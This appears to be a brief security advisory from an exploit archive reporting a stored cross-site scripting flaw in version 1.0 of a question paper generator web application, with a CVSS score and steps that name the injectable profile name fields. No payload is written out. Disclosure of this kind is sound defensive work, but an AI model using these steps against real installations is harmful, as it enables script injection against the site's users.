Severity Level:
================
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected Product:
================
Automatic Question Paper Generator v1.0
Steps to Reproduce:
================

1. Open your browser, create an account on the site and log into it (
http://target.com/aqpg/users/login.php).

2. Click on your profile icon and then click on My Account. The field
called "First Name", "Middle Name", "Last Name" are vulnerable to XSS,
inject the payload into one of them and then save your changes.

Source:packetstormsecurity.com